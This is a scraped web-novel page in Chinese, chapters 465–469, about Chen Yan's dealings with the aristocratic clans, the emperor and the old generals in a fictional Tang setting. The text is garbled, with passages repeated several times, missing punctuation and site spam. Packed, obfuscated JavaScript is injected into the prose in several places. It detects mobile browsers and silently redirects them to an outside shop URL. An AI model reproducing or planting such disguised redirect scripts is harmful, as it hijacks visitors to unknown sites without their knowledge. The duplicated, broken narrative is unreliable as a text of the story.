“其次你们要提供给我各种原材料例如制作绢帛的蚕丝等等。还有我这个人喜欢收藏书籍我希望可以从你们手中购买那些买不到的书籍最好是原本;如果实在没有那手抄本也行” 接下来陈衍提出了一系列要求一个比一个让人无法接受。 偏偏崔宣越听越放心。 特别是听到陈衍要书籍崔宣立即想起了那天王珪说的话。 “各凭本事罢了!” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 、混青楼、买卖做到几乎垄断的时候,你怎么不在乎名声? 当然了,对于陈衍说他自己马上要回到长安,官位可能还不低,这个崔宣倒是信了。 而且认为这才合理。 像他这样的人,怎么可能一直待在渭南县? “所以,等我回到长安任职,买卖上面的事就不太好出面了,大概是交给手下的人打理! 陈衍一顿长篇大论,然后才进入正题:“不过,你也知道,我底蕴少,手底下的人只能说勉勉强强,维持现状不是问题,想继续有好的发展就很难了。 “在大唐,好的买卖,最终都是要走出去才能赚到大钱的。 “你说你们有好的渠道,那我们不妨先尝试一下进行一些这方面的合作,我提供货物,你们负责卖到大唐之外,利润咱们五五分,如何? 嗯? 崔宣倏地瞪大双眼,不敢相信自己听到了什么。 不是,这好像是我的词吧? 这是我想说的话,我的目的啊! 崔宣脑子都宕机了。 总觉得今天太过顺利了,顺利到他实在不敢相信。 “.渭国公,那我们具体怎么个合作方法? 崔宣已经开始怀疑陈衍在演自己了,但他打算先听听对方怎么说。 另一边,陈衍把崔宣的神情全部收入眼中,笑道:“很简单,大家接触很少,互相了解都不多,毕竟现在你说的只是你的一面之词。 “我也没见过你的渠道,不是吗? “我想的是,我们最初用白糖来合作,先试试,如果结果不错,那咱们再继续往下聊。 “而且,我同样有要求,那就是我只负责供货,其他我不管。你们想拿到货,首先得给出与货物价值相等的保证金,以免你们拿了货我找不到人。 “其次,你们要提供给我各种原材料,例如制作绢帛的蚕丝等等。还有,我这个人喜欢收藏书籍,我希望可以从你们手中购买那些买不到的书籍,最好是原本;如果实在没有,那手抄本也行 接下来,陈衍提出了一系列要求,一个比一个让人无法接受。 偏偏崔宣越听越放心。 特别是听到陈衍要书籍,崔宣立即想起了那天王珪说的话。 “各凭本事罢了! “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 、混青楼、买卖做到几乎垄断的时候,你怎么不在乎名声? 当然了,对于陈衍说他自己马上要回到长安,官位可能还不低,这个崔宣倒是信了。 而且认为这才合理。 像他这样的人,怎么可能一直待在渭南县? “所以,等我回到长安任职,买卖上面的事就不太好出面了,大概是交给手下的人打理! 陈衍一顿长篇大论,然后才进入正题:“不过,你也知道,我底蕴少,手底下的人只能说勉勉强强,维持现状不是问题,想继续有好的发展就很难了。 “在大唐,好的买卖,最终都是要走出去才能赚到大钱的。 “你说你们有好的渠道,那我们不妨先尝试一下进行一些这方面的合作,我提供货物,你们负责卖到大唐之外,利润咱们五五分,如何? 嗯? 崔宣倏地瞪大双眼,不敢相信自己听到了什么。 不是,这好像是我的词吧? 这是我想说的话,我的目的啊! 崔宣脑子都宕机了。 总觉得今天太过顺利了,顺利到他实在不敢相信。 “.渭国公,那我们具体怎么个合作方法? 崔宣已经开始怀疑陈衍在演自己了,但他打算先听听对方怎么说。 另一边,陈衍把崔宣的神情全部收入眼中,笑道:“很简单,大家接触很少,互相了解都不多,毕竟现在你说的只是你的一面之词。 “我也没见过你的渠道,不是吗? “我想的是,我们最初用白糖来合作,先试试,如果结果不错,那咱们再继续往下聊。 “而且,我同样有要求,那就是我只负责供货,其他我不管。你们想拿到货,首先得给出与货物价值相等的保证金,以免你们拿了货我找不到人。 “其次,你们要提供给我各种原材料,例如制作绢帛的蚕丝等等。还有,我这个人喜欢收藏书籍,我希望可以从你们手中购买那些买不到的书籍,最好是原本;如果实在没有,那手抄本也行 接下来,陈衍提出了一系列要求,一个比一个让人无法接受。 偏偏崔宣越听越放心。 特别是听到陈衍要书籍,崔宣立即想起了那天王珪说的话。 “各凭本事罢了! “. 你的朋友正在书荒,快去帮帮他吧 、混青楼、买卖做到几乎垄断的时候,你怎么不在乎名声? 当然了,对于陈衍说他自己马上要回到长安,官位可能还不低,这个崔宣倒是信了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在大唐好的买卖最终都是要走出去才能赚到大钱的。” “你说你们有好的渠道那我们不妨先尝试一下进行一些这方面的合作我提供货物你们负责卖到大唐之外利润咱们五五分如何?” 嗯? 崔宣倏地瞪大双眼不敢相信自己听到了什么。 不是这好像是我的词吧? 这是我想说的话我的目的啊! 崔宣脑子都宕机了。 总觉得今天太过顺利了顺利到他实在不敢相信。 “.渭国公那我们具体怎么个合作方法?” 崔宣已经开始怀疑陈衍在演自己了但他打算先听听对方怎么说。 另一边 “我也没见过你的渠道不是吗?” “我想的是我们最初用白糖来合作先试试如果结果不错那咱们再继续往下聊。” “而且我同样有要求那就是我只负责供货其他我不管。你们想拿到货首先得给出与货物价值相等的保证金以免你们拿了货我找不到人。” “其次你们要提供给我各种原材料例如制作绢帛的蚕丝等等。还有我这个人喜欢收藏书籍我希望可以从你们手中购买那些买不到的书籍最好是原本;如果实在没有那手抄本也行” 接下来陈衍提出了一系列要求一个比一个让人无法接受。 偏偏崔宣越听越放心。 特别是听到陈衍要书籍崔宣立即想起了那天王珪说的话。 “各凭本事罢了!” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第465章 诱饵 直到现在,崔宣总算明白了王珪的意思,以及陈衍为什么这么爽快就答应进行绢帛之类的合作,不担心制造绢帛的技术被他们掌握。 说白了,大家都在赌,也愿赌服输。 陈衍爽快地进行白糖、绢帛合作,给世家探寻制作绢帛的机会。而世家给出自己的利益,来换取这个机会。 就看谁本事高了,赢者通吃。 崔宣深深看了眼面带笑意,比自己还要小好几岁的年轻人,不得不感慨,陈衍确实比自己强。 或许,陈衍从一开始就把握住了世家族老的心思,而他自己到现在才明白。 之前甚至因为陈衍太过爽快,怀疑对方在使诈。 崔宣心里暗叹一声,正色道:“您大部分要求,我现在就能代表家族答应下来,只是其中有几点,我认为还需要商量一下.” 接着,他指出了陈衍方才提出的条件中,几个对他们十分不友好的点,委婉地表明拒绝。 陈衍自然是据理力争,两人你来我往,争论了半天依然没让双方都满意。 最后,陈衍态度十分强硬地表示,“条件就是这些条件,改是不可能改的,如果你无法做出决定,那你可以回去跟你的长辈商量一下,我们改日再谈!” 说完,他重新拿起筷子,悠哉悠哉地吃起火锅来。 崔宣眉头紧锁,想了想,舒展开来:“那就依渭国公所言,方才提出的几个条件,咱们可以改天再议,其他条件我都答应了。” 今天收获已经足够大了,涉及大家需要摆上赌桌的东西,一时半会找到令双方都满意的点本就很难。 或许,陈衍自己和族老们,也清楚这不是一天两天可以决定下来的事。 “没问题,崔公子!”陈衍点点头,伸手示意,“此事就到这里吧,来,吃。” “好,多谢渭国公。” “不用谢,反正是你付钱。” 崔宣:“.” “.” 吃饱喝足,两人就此分别。 跟陈衍不急不缓 的样子不同,崔宣一离开醉仙楼,便连忙赶了回去。 一群世家的重要人物还等着他的消息呢。 “宣儿,情况如何?” 见崔宣回来,等待许久的崔瀚出声询问。 崔宣不敢耽误,将跟陈衍谈及的内容一一道出。 他没有发表自己的看法,只是将过程以及谈话细节全部道出。 郑知礼冷哼:“这小子还真是贪得无厌,他自己只出货物,不承担任何风险,安稳在家等着,拿走五成利润也就罢了,甚至还想要我们收藏的书籍,以及我们对部分制度的实施和朝堂上的支持。” “搞得好像我们上赶着求他” 说着说着,他声音弱了下来。 好像确实是他们求着人家合作的。 卢仲宣沉默道:“利益其实无所谓,人家毕竟掌握着根本的绢帛,拿走五成也无妨。只是.书籍一定要慎重些,陈衍可是拥有一座巨大的图书馆。” “以前我们就怀疑过,陈衍掌握着一种相当高明的印刷术,否则很难解释他为何能建立那么大一座图书馆,一夜之间让韦家被流言吞没,以及.李世民那每隔几天拿出来的大唐民报。” “我怀疑,倘若我们把书籍交给他,估计要不了两天,这些书籍就能被大规模复制,然后在渭南县图书馆摆出来。” 李孝常冷着脸说:“听崔宣说,陈衍的态度异常坚定,一定要书籍,那你又怎么说?” “都什么时候了,还在考虑这些!” “难道人家就缺少那些书籍吗?别忘了陈衍的出身,以及他背后的人。那么大一座图书馆,即使缺少我们那点书也足够令天下学子倾倒。” 此话一落,在场的人全都沉默了。 多少年了,他们已经多少年没遇到过这么棘手的人了? 仿佛一切的一切都在对方的预料之中,走的每一步都有对方的布置。 让他们只能憋屈地忍受下来。 “唉~” 崔瀚长叹,“李兄说得对,现在不是考虑那些书籍的 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约就约吧,但他们只以为是谈谈棉花的种植,顺便铺垫一下绢帛上的合作,以此来打开个口子,慢慢想办法掌握。 没想到,陈衍又一口答应了,直接把饵丢了出来。 明明是他们先找的陈衍,可所有的一切好像全被对方掌握,让局势朝着一个他看不懂的方向发展。 “现在的年轻人啊 崔瀚感慨一声,摇摇头,不再说话。 气氛沉寂了一瞬,一直听着的王珪缓缓开口,“既然如此,那就给他吧,至于制度以及朝堂上的支持,也可以答应他。 众人默然点头。 事实上,他们只能答应,毕竟现在的世家已经没有了以前的风光,陈衍即使没有他们支持,他背后依然有李世民以及一众文臣武将。 至于其他小条件,那就更无所谓了。 到现在,也没人再提起拉拢陈衍了。 因为陈衍都丢出了饵,摆出了一副要跟他们上赌桌的模样,拉拢绝对是不可能了。 “. 第466章 李世民:你小子,心是真黑啊 “回来啦?” 渭国公府,陈衍一到家,李丽质便迎了过来。 这倒是让他颇为感慨。 从前做这项工作的一直是高阳,虽然每次迎来的都是不好听的话,但几乎从未缺席,让他很满足。 毕竟,不管好听还是不好听,终归让他明白,家里有人在等着他。 “嗯,回来了。” 陈衍笑了笑,“你昨天不是说要跟高阳做运动吗?怎么样?体验还好吧?” 李丽质道:“还行,第一次感觉挺累的,休息一会儿就好了,高阳倒是比我强很多。” “嗯。”陈衍对此并不意外,随口说:“高阳比你强是应该的,她身体比较好,你慢慢来好了,不用着急。” “对了,小兕子和城阳呢?” “兕子啊”李丽质叹了口气,“兕子写完了作业,现在应该在玩,城阳跟小清月在一起。” 城阳刚跟他们生活的时候,还经常跟小兕子一起玩,只是后来又慢慢跟自己同龄的小清月玩到了一起。 小清月很喜欢学习,天天抱着陈衍教导的知识钻研,城阳跟她接触多了,也不再爱玩了。 李丽质对城阳跟小清月接触,而不跟兕子整天瞎玩,可谓是欣慰无比。 现在她对两个妹妹的态度堪称截然相反。 “叫她们准备一下吧,下午我带你们回宫一趟。”回长安几天,陈衍打算去见见李世民。 “回宫。”李丽质闻言,眼睛顿时亮了。 那毕竟是她生活了好久的家,终归是想念的。 而后,她想起了什么,好奇问道:“下午就去吗?是否有些着急了?还是你跟世家谈了什么东西,需要赶紧进宫一趟?” “谈了什么.”陈衍颇为怪异道:“也没谈什么,给我送钱、送渠道、送好处来了。” “之前我误会世家了,他们真的是好人呐!” 李丽质眼皮抽动。 世家? 好人? 多么小众的 词啊! 她父皇苦世家好多年想方设法地跟世家拉扯恨不得除之而后快结果到你嘴里就变成好人了? 当然啦李丽质也明白陈衍如此说绝对是心里有把握。 她也不再多问看陈衍嘴唇颇为红润身上有一股火锅味默默替他倒了杯温水。 这时兕子正好从门外路过。 陈衍见状一个箭步冲出去提溜住她脑袋上的小揪揪。 兕子一脸茫然 “哼哼当然是怕你跑啊!”陈衍蹲下身子阴恻恻地笑道:“下午我跟你阿姐要进宫顺便把你送回去现在抓住你免得你跑!” 兕子抽了抽鼻子明亮的眼眸中露出一丝暗淡。 “好吧既然阿兄希望我回去那我回去好啦。” “不过等我走了阿兄你一定要照顾好自己哦~不要老是跟高阳阿姐生气气坏身子不好。” “丽质阿姐不争气你多担待一点她心里是很在乎你想跟你多说说话多跟你待一会儿的。” “真羡慕两位阿姐明明作为阿兄的妻子却一直不让阿兄省心不像我只会心疼阿兄。” 陈衍:“.” 李丽质:“.” “.” 午后陈衍带上了些礼物然后跟一大家子乘坐马车前往皇宫。 这个时间点李世民一般来说没什么事清闲得很。 所以他们一进宫让人禀报之后就在御花园见到了李世民夫妇。 见到自己四个女儿回来长孙皇后一下就高兴了笑得合不拢嘴。 李世民朝陈衍示意过来后者也不客气很随意地坐了下来。 长孙皇后拉着自己几个女儿问东问西欣喜地抱着小岁安李世民则让无舌给陈衍倒了杯茶。 “听说你小子跟世家的人勾搭上了今天上午还跟崔家的人在醉仙楼吃饭。” “咦?”陈衍诧异道:“陛下您消息够灵通的上午刚发生的 事您现在就知道了?” “哼哼。”李世民没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826900|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好气道:“不是朕消息灵通而是此事都已经传开了朕想不知道都难。” “原来如此。”陈衍也没觉得意外笑呵呵道:“世家的人上赶着给咱们送好处我没理由不答应啊。” “他们现在情况很不妙 “具体什么情况?”李世民颔首。 “是这样” 陈衍把世家的人怎么接触自己今天谈了什么大概情况全说给了李世民听。 李世民理解之后思索片刻皱眉说:“其实没必要这样就像你说的只要维持现状世家总有一天会顶不住。” “何必冒险呢?” “与他们合作纵使存在更大的利益还有机会更快解决世家的问题但同样存在制造绢帛技术泄露的风险。” “你渭南县重要的东西可不少。” “放心吧陛下您还不了解我吗?”陈衍淡笑道:“与他们合作我是有绝对把握的。世家存世多年底蕴深厚很多东西都是我们急需的。” “例如较为安稳通过丝绸之路的渠道如果能让大唐掌握那就是另一座银矿足以为大唐带来源源不断的财富。” 说着他顿了顿“至于技术泄露.呵呵陛下莫非您忘了我还有座科研院?” “他们可是一直在研究新的、更好的纺织机目前已经有初步的成果了。” “甚至未来我们会拥有水力缫丝机、水力大纺车等等能大大提升效率的发明。” “一个水力纺织机而已我都打算看情况直接丢给世家吃了。” “毕竟想要马儿跑总得给马儿吃点草不是。” 李世民越听神色越是古怪。 照这么说来世家这次是注定要吃大亏了? 预想一下他们费了老大劲付出了一系列代价好不容易拿到陈衍目前制作绢帛的水力纺织机。 结果陈衍反手掏出效率更高的新技术而且还有一系列配套的设施制作绢帛的效率呈倍数上涨。 这谁顶得住? 李世民咂咂嘴“你小子心是真黑啊!” “.” 第467章 没良心炮 “嘿,你看这小家伙,也不怕生,就瞪着个大眼睛瞅我。” 长孙皇后伸出手指戳了戳小岁安肉嘟嘟的脸蛋,“真好啊,是个可爱的小家伙,将来长大,定然是个大美人。” 高阳弯了弯嘴角,很是得意,“那当然啦母后,我的女儿怎么都不会差。” 长孙皇后斜眸,“是吗?但我怎么听说,小岁安刚出生的时候,你险些不认这个女儿,说子安他们抱错了。” 高阳:“.” 李丽质莞尔一笑,附和道:“不错,夫君为此还抱怨过呢,说高阳妹妹一点都没个当母亲的样。哪天家里就她一个人生孩子,上哪抱错去?” 兕子连连点头,“对哒,我可以作证,这是高阳阿姐说的话。” 高阳讪讪道:“那我当时不太清楚嘛,毕竟小岁安刚出生的时候确实不太好看.” 长孙皇后无奈道:“你啊,从前母后教导你这些,你老说你懂了,你懂了,结果什么都不懂。” “咿呀~” 这时,小岁安的大眼睛似乎瞟到了什么,哼哼唧唧地朝一个方向偏头,似乎想到那边去。 长孙皇后顺着小岁安瞟的方向看,当即乐了,“怎么啦?小岁安要到父亲那里去吗?” 高阳幽幽道:“母后,你看她,明明每天辛苦喂养她的是我,但她就是跟陈衍亲,一点都不跟我好。” “那不是很正常吗?”长孙皇后有些好笑,“怎么?你难不成还因为女儿跟父亲好,心里不是滋味?” 高阳顿时不说话了。 长孙皇后摇摇头,眼看小岁安乱动起来,站起身,来到陈衍面前,“子安,你女儿要你抱,你抱会吧。” “是吗?”陈衍乐呵呵地接过孩子,而小岁安则瞪着一双大眼睛一眨不眨地望着他,嘴角还挂着一缕口水。 他伸出一根手指,小家伙似乎是明白了什么,用小手握住了父亲的手指。 陈衍心里一下子就满足了。 李世民在一旁颇为惊奇地对长孙皇后说,“子安这小子从前总一副不正经的模样 ,现在感觉,倒是变了许多。 “终归是当了父亲嘛。长孙皇后轻声回道:“有了女儿,哪里还能不正经?总得有几分父亲的样子。 李世民不置可否,“确实像点样子,就是心还是跟从前一样黑不,不对,应该是心越来越黑了。 陈衍:“. “.陛下,这些话您在背后说说得了呗,我还在呢。 他真觉得自己冤枉,毕竟如果有得选的话,谁愿意心黑呢? 这不是卷进你跟世家的争斗里了吗? 你真是站着说话不腰疼。 李世民哈哈大笑,“朕若是在背后说,不痛不痒的,有什么意思? “哪里会像现在一样,还能看到你小子吃瘪的表情? “行吧,您开心就好。 这时,长孙皇后想起来一件事,收敛笑容,“子安,听说你昨日跟高阳去找了郑观音? “本宫不清楚你找她做什么,但以后还是跟她少接触一些吧。 她委婉地提醒了一句。 陈衍听后点点头,“我明白的皇后殿下,只不过,我认为郑伯母在某些地方或许能给我们一些不一样的惊喜。 “因为郑伯母从某种程度上来说,天然跟我们站在对立面,所以我让她帮忙查查谁对太子下毒 陈衍点到为止,没有说完,但他相信长孙皇后和李世民明白自己的意思。 果不其然,一听他的话,夫妇俩齐齐一愣,对视一眼过后,表情更古怪了。 李世民啧啧称奇,“不得不说,你小子对各种事情的看法真的很新奇,你居然想到让郑观音来查案,朕着实没想到啊! “正所谓,敌人的敌人就是朋友嘛。陈衍耐心道:“正因为郑观音跟我们的关系特殊,几乎不可能跟我们站在一起,所以才要让她来查啊。 “反正只是一次尝试罢了,咱们又不会损失什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826901|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李世民微微颔首,揭过这个话题,“对了,青雀怎么没跟你们一起回来? 提起魏王长孙皇后也向他投来了目光。 陈衍回想起李泰已经快入魔的样子欲言又止。 关于李泰他实在不好说啊。 总不能告诉李世民和长孙皇后这小子现在全身心投入到大炮里面去不管他们怎么劝都不愿意回来 这要是让这夫妇俩知道李泰怕是又得挨抽。 李世民夫妇一看陈衍的表情就差不多明白李泰是什么情况了。 到现在他们多少了解自己这个儿子在一些方面表现出了强烈的兴趣甚至达到了废寝忘食的地步。 偏偏青雀钻研出来的东西好像又相当有用有些足以为大唐带来翻天覆地的改变他们总不能阻止吧? “唉算了青雀不回来就不回来吧。”长孙皇后眼里有些无奈“子安平时记得多管管他让他多注意身体。” “好。”陈衍对此自然是立马答应了下来。 李世民倒是好奇地多问了一句“青雀应该又是从你那里得到了什么新的点子现在投入进去了吧?” “不瞒陛下确实如此。”陈衍回道:“自从上次我跟他说**的出现意味着冷兵器时代的落幕魏王展现了很大的兴趣。” “我便将我从前钻研过的几个想法告知了他现在他做一种名为.神威大炮的武器。” 陈衍顿了顿给李泰研究的大炮取了响当当的名字。 “神威大炮?” 李世民一听这个名字立刻来了兴趣。 连忙跟陈衍询问这神威大炮到底是何物。 对他提出的各种问题陈衍都一一耐心回答了。 实际上李泰确实是对的从技术上来说大炮要远比枪好做。 前几天李泰突发奇想直接在地上挖了个坑以**为**竟然真的将**包发射了出去。。 当时陈衍都惊呆了一下子想起了最原始的“没良心炮”。 “.” 第468章 老黑也是你叫的? 李世民对陈衍描述神威大炮的威力很满意,称若是能做出来,绝对是攻城拔寨的利器。 而后,他又询问了陈衍关于那火铳的威力以及使用流程。 得到陈衍具体的解答后,李世民有些疑惑,“那火铳先不说制作出来的难度多大,就算制作出来,发射也那般麻烦,为何不直接使用弓箭?” “听你的描述,火铳跟弓箭很类似啊,都是远距离杀敌的武器。” “不一样的,陛下。”陈衍耐心道:“我上次就跟您说过,**现在还是一个刚出生的婴儿,未来大有可为。而弓箭等武器,基本上发展到最巅峰了,哪怕有进步,有改变,局限性依旧摆在那里,就像是一个垂垂老叟。” “像最初的弓箭,不一样是经过一代又一代的改变,这才演变成如今模样的吗?” 李世民摸着下巴思索,想起了当时看到**威力时的震撼感,“嗯,你说的有道理,我们不能沉浸在旧事物当中,需要接触新的时代产物。” “算了,先不说这个,不管是神威大炮,还是火铳,都不是一时半会能做出来的。” “朕前些日子,不是跟你们说要重新招收一批人,再组建一支重骑兵吗?” “你认为那三个小子能带多少人?” 陈衍一怔,“陛下具体想招多少人?” 李世民大手一挥,“那还用说?自然是越多越好,谁会嫌重骑兵少呢?” 陈衍闻言微微蹙眉。 李世民想法有些理想化。 话是这么说没错,但组建重骑兵需要耗费的人力物力财力太多,不可能动不动就七八千上万的。 “陛下,恕我直言,倘若再组建一支重骑兵,那么三千左右是一个很合适的数字。” “您手中目前确实不缺钱,但也不能随便把大部分钱财投入到这里面,大唐即将迎来强盛是不错,可强盛的同时,需要耗费的资源绝对是不少的。” “更何况,有**和即将做出来的神威大炮,以及各种装备,我们无惧未来爆发的战争,没必要组建太多重骑兵。” 李世民闻言眉头一挑,“你小子想哪去了,朕是那么不理智的人吗?” “朕的想法跟你差不多,三千左右是一个很合适的人数。” “只是,唯一不太确定的是,那三个小子有没有能力带出三千人。” “那应该没什么问题。”陈衍放心下来,“我知道陛下想用我培养无旌骑的办法来培养这支军队,但其实这种方法是可以复制的,即使人数多了些,相信程处默他们能应对得过来。” “再者,我们可以继续请一位稳重的人来坐镇嘛。” “稳重的?”李世民摸着下巴,脑子里闪过一个又一个名字. “.” “唉,我就是天生的劳碌命啊。” 站在翼国公府外,陈衍抱着两坛酒,忍不住叹息。 “陈少爷,您来啦?” 门卫一见到他,赶忙迎上来,“几位国公大人都在里面,您快里面请。” 都在里面? 陈衍一愣,“谁啊?程伯伯他们?” “对呀!”门卫很是高兴,“前两日大公子不是成婚了嘛,几位国公大人高兴,那日没怎么喝尽兴,现在还在喝哩。” 神特么没喝尽兴,今天还在喝。 陈衍默默地转过身,打算改日再来。 不曾想,方才另一位门卫已经进去禀报了,贾夫人亲自出来了。 “哟,衍哥儿,来啦?” 贾夫人赶紧上前,拉着陈衍就往里走,“你来得正好,里面正上菜呢,那几个大老粗和你们几个小兄弟都在。” “贾伯母,其实我只是路过,您信吗?”陈衍欲哭无泪。 贾伯母扫了眼他抱着的两坛酒,意味深长道:“衍哥儿,你说我信不信你?” 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) “我” “行啦,别废话,好歹是我大唐男儿,怎么一听见里面人多,在喝酒就怂了呢?”贾夫人不由分说地拉着他进去,根本不给他说话的机会。 “前些日子怀道大婚,没招待好你们,今天必须让你秦伯伯和怀道 跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826902|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你吃好喝好。 事已至此,陈衍也没办法,硬着头皮跟贾夫人走了。 一进屋,就见秦琼和程咬金他们端着碗,准备碰一下子。 见他抱着酒到来,尉迟恭一下子乐了,“瞧瞧,瞧瞧,咱们渭国公大人来还带着两坛酒呢,什么意思不用说了吧? “哈哈哈哈。秦怀道大笑,起身拉着他坐下来,“渭国公大驾光临,那当真是蓬荜生辉啊! “今日你想跟我们喝个尽兴,咱们陪你就是。 陈衍黑着脸,“去去,一边去,尉迟老黑胡闹,你也跟着啊? 尉迟恭:? “不是,小子,尉迟老黑是你叫的? 气氛已经到这里,陈衍自知逃不脱,索性破罐子破摔,“程老黑我都叫得,尉迟老黑我叫不得? “都哥们儿! 程咬金:? “哎呦! 程咬金跟尉迟恭面面相觑,被气笑了。 “好好好,到底是你辈分涨了,还是俺辈分降了,跟你成哥们儿了? 程咬金怒极反笑,就要爆发。 “且慢! 陈衍猛地想起一件事,冷静下来。 “咋,你还有什么遗言吗?尉迟恭摩拳擦掌,打定主意今天必须好好教训这小子一顿。 陈衍深吸一口气,“陛下要组建一支新的重骑兵,地点就在渭南县,数量为三千,这事你们知道吧? 此话一出,屋内安静了一瞬,众人疑惑。 这事他们怎么可能不清楚? 毕竟李世民都让程处默他们三个小子来带了。 只是,陈衍现在说此事是什么意思? 程咬金猜到这里面有事,正经起来。 “你具体说说。 开玩笑归开玩笑,正事上,他们可不含糊。 陈衍慢悠悠地放下两坛酒,“陛下确实打算组建一支重骑兵,准备让处默他们来带,但是还缺少一位有威望的人来坐镇! “只是这个人吧.陛下说让我帮忙物色物色. 程咬金和尉迟恭眼角一抽。 今天他们好像真的要认一个哥们儿了。 “. 第469章 秦琼:我老啦! “砰!” 程咬金拍桌而起,瞪着尉迟恭,“你方才怎么跟我兄弟说话的?谁要留遗言?” “**,你今天动我兄弟一下子试试?” 尉迟恭:“.” 一直没来得及说话的程处默脸一黑。 好嘛,就看个乐子,结果给自己看了个叔出来。 关键这个叔以前还是跟自己称兄道弟,混迹青楼的陈衍。 这找谁说理去? “程老黑,你这老黑是真没叫错啊。”尉迟恭属实没料到,程咬金竟然当场变脸了。 “俺叫老黑,顶多是皮肤黑了些,而你叫老黑,是你他娘从里到外都是黑的!” “看看,看看你说的那话,俺都替你丢人!” 尉迟恭重重叹息,揽着陈衍的肩膀,“你说是不是,兄弟!” 陈衍:“.” 程咬金:“.” “啧啧啧,长篇大论一大堆,话里话外都在说我的不是,我还以为你真是那回事呢,结果你看看你.” 程咬金嗤笑,“我他娘都不好意思说你。” “那咋了?”尉迟恭双眼瞪圆,“俺问你那咋了?” “今天俺就把话放在这里!那渭南县折冲府,俺是去定了,你老小子上一边去吧!” “你话放在这里?”程咬金当然不能服,立马瞪了回去,“你话放在这里有什么用?你说话顶用吗?” “你瞧瞧你那五大三粗的样,你说话顶个屁用!” “我家兄弟能让你这货去?” 两人你来我往,唾沫星子横飞,争得个脸红脖子粗,谁也不让着谁。 若换做以前,以程咬金和尉迟恭的身份地位,是万万不可能看得上折冲府的职位,哪怕是渭南县。 毕竟他们从前哪个不是动不动就带几万人的狠角色? 但现在是什么局势? 上次杜如晦都明明白白跟他们说清楚了,边境受到骚扰,爆发战争是一定的,现在李世民要组建一 支新的重骑兵,那用意还用寻思吗? 程咬金和尉迟恭都很清楚,李靖现在还能打,一旦爆发战争,那么大概率是李靖统军,轮不到他们。 现在好不容易有一个机会,他们当然不愿意放弃。 “.” 程处默几个小辈默默地看着两人争吵,啥也不敢说,老实得不行。 让秦怀道疑惑的是,自己老父亲咋没什么动静呢? 他眼神瞟了瞟,发现秦琼竟然悠哉悠哉品起了陈衍带来的两坛好酒,丝毫不关心程咬金和尉迟恭怎么吵。 秦怀道纳闷了。 要知道,自从秦琼的身体被陈衍治好之后,秦琼同样很想再上一次战场。 以前是因为身体不行,实在没办法,现在身体都好了,而且有机会,为啥没动静了呢? 难道是因为自己刚成了婚,还没抱上孙子,所以暂时不想出去打仗? 又或者是,因为自己成了婚,所以放弃了打仗的想法,今后在长安安享晚年? 秦怀道不懂,但也不敢问。 “小衍,来,跟秦伯伯喝两杯。”秦琼亲自给旁边的陈衍倒了杯酒,然后端起了酒杯。 “哎,行!”陈衍同样没在乎那两人怎么吵,跟秦琼碰了下杯。 这时,程处默忍不住了,“秦伯伯,您难道不想去渭南县带兵吗?” “去渭南县?”秦琼哼哼两声,露出一个意味深长的笑。 此前陈衍又不知道程咬金他们在这里,而以陈衍不太喜欢喝酒的性格,抱着两坛酒上门。 那自然是来找他的。 这个时候来找他,那他娘还用想吗? 就这两憨货,让他们吵去吧。 不管你们怎么吵,怎么放下面皮认兄弟,今天这活儿都轮不到你们。 “程大兄弟,喊累了吧?” “来,喝点润润嗓。” 陈衍关切地给程咬金先倒了杯酒,又给尉迟恭倒了杯,“尉迟二兄弟,你也喝。” 程咬金:“.” 尉迟恭:“. 秦琼有些好笑,这小子还是那般损。 或许是因为吵累了,又或者是因为面对三个儿子、侄子,两人多多少少要点面子,各自坐了下来,没再继续争下去。 程咬金一口将陈衍倒的酒喝完,“大侄子,你今天就说,我跟尉迟老黑,你让我俩谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦琼老脸一红,梗着脖子道:“什么叫我骗走你一个闺女?那你家闺女跟我家怀道郎情妾意的,能叫骗吗? “我家配不上你家是咋地? 